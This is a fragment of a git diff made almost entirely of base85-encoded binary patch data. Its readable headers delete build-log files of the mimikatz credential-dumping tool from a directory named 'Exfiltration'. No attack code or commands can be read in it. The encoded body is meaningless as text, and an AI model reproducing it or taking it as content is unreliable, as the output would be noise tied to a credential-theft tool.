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 MBj-R$%VYZd2g6*}EC2ui diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog deleted file mode 100644 index f911a97a3e00a193ed96f91f1acb8a0457f9d7e0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 62526 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 